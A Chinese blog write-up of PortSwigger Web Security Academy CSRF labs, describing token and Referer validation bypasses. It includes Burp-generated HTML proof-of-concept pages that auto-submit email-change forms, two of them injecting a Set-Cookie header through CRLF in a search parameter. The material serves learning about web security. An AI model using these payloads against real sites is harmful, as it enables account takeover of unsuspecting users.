PortSwigger 跨站点请求伪造 (CSRF)

一、什么是跨站点请求伪造 (CSRF)

        跨站点请求伪造(也称为 CSRF)是一个 Web 安全漏洞,允许攻击者诱使用户执行他们不打算执行的操作。

二、如何利用跨站点请求伪造 (CSRF)

        1、没有防御措施的 CSRF 漏洞

(1)在 Burp Suite 中选择要测试或利用的请求。
(2)从右键,选择参与工具 / 生成 CSRF PoC。

(3)Burp Suite 将生成一些 HTML 来触发选定的请求(减去 cookie,这将由受害者的浏览器自动添加)

(4)调整CSRF PoC生成器中的各种选项,以微调攻击的各个方面。

(5)将生成的 HTML 复制到网页中,当从受害者从浏览器中查看该地址,将成功发出并发生所需操作。

        2、通过修改请求方法绕过令牌验证

        应用程序在使用 POST 方法时正确验证令牌,但在使用 GET 方法时跳过验证。

        3、通过缺省令牌参数方式绕过令牌验证

        应用程序会在令牌存在时正确验证令牌,但如果省略令牌,则跳过验证。

        4、当令牌未绑定到用户会话,存在绕过

        应用程序不会验证令牌是否属于发出请求的用户所在的同一会话。相反,应用程序维护它已颁发的令牌的全局池,并接受此池中显示的任何令牌,可通过重新构造本地令牌进行绕过。

        5、当令牌绑定到非cookie会话,存在绕过

        应用程序确实将 CSRF 令牌绑定到 cookie,但不绑定到用于跟踪会话的同一 cookie。当应用程序使用两个不同的框架时,很容易发生这种情况,一个用于会话处理,一个用于CSRF保护。可通过设置cookie中CSRF进行绕过。

html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a400002040f5bb9c4cf54d8009d00e8.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="wiener&#64;normal&#45;user&#46;net" />
      <input type="hidden" name="csrf" value="rfr6gdaDlYL7yq40zCwxGp7hoVL7Ngxi" />
      <input type="submit" value="Submit request" />
    </form>
<img src="https://ac0e1f611fe5f5508015117d00d600e5.web-security-academy.net/?search=test;Set-Cookie: csrfKey=KX3SZtol2d02yBrBDzyI36Q8iu1ivajS;" onerror="document.forms[0].submit()">
  </body>
</html>

        6、当从 cookie 复制csfr令牌时,存在绕过

        应用程序不维护已颁发令牌的任何服务器端记录,而是在 cookie 和请求参数中复制每个令牌。验证后续请求时,应用程序只需验证在请求参数中提交的令牌是否与 Cookie 中提交的值匹配。这有时被称为针对 CSRF 的“双重提交”防御,提倡这样做是因为它易于实现并且不需要任何服务器端状态。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0aed008b03104606c176817b00a90088.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="iener&#64;normal&#45;user&#46;net" />
      <input type="hidden" name="csrf" value="1234abcd" />
    </form>
    <img src="https://0aed008b03104606c176817b00a90088.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=1234abcd%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
  </body>
</html>

        7、通过更改referrer标头,进行绕过

        默认值: 一般浏览器的默认值是 no-referrer-when-downgrade
        no-referrer: 所有请求不发送 referrer
        no-referrer-when-downgrade: 当请求安全级别下降时不发送 referrer。目前,只有一种情况会发生安全级别下降,即从 HTTPS 到 HTTP。HTTPS 到 HTTP 的资源引用和链接跳转都不会发送 referrer。
        same-origin:对于同源的链接和引用,会发送referrer,其他的不会。
        origin:会发送 referrer,但只会发送源信息。源信息包括访问协议和域名。
        strict-origin:这个相当于 origin 和 no-referrer-when-downgrade 的 AND 合体。即在安全级别下降时不发送 referrer;安全级别未下降时发送源信息。
注意:这个是新加的标准,有些浏览器可能还不支持。
        origin-when-cross-origin:这个相当于 origin 和 same-origin 的 OR 合体。同源的链接和引用,会发送完全的 referrer 信息;但非同源链接和引用时,只发送源信息。
        strict-origin-when-cross-origin:这个比较复杂,同源的链接和引用,会发送 referrer。安全级别下降时不发送 referrer。其它情况下发送源信息。注意:这个是新加的标准,有些浏览器可能还不支持。        
        unsafe-url:无论是否发生协议降级,无论是本站链接还是站外链接,统统都发送 Referrer 信息。正如其名,这是最宽松而最不安全的策略。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
<meta name="referrer" content="no-referrer">
  <script>history.pushState('', '', '/')</script>
    <form action="https://0ab00049036178f9c075a16100410058.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="ner&#64;normal&#45;user&#46;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

        8、通过规避引用器的验证,进行绕过

        利用服务器标头设置:Referrer-Policy: unsafe-url  (无论是同源请求还是非同源请求,都发送完整的 URL(移除参数信息之后)作为引用地址。(最不安全的策略了))

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/0a06008503daaebbc0dd4d7500ab0047.web-security-academy.net')</script>
    <form action="https://0a06008503daaebbc0dd4d7500ab0047.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="ner&#64;normal&#45;user&#46;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值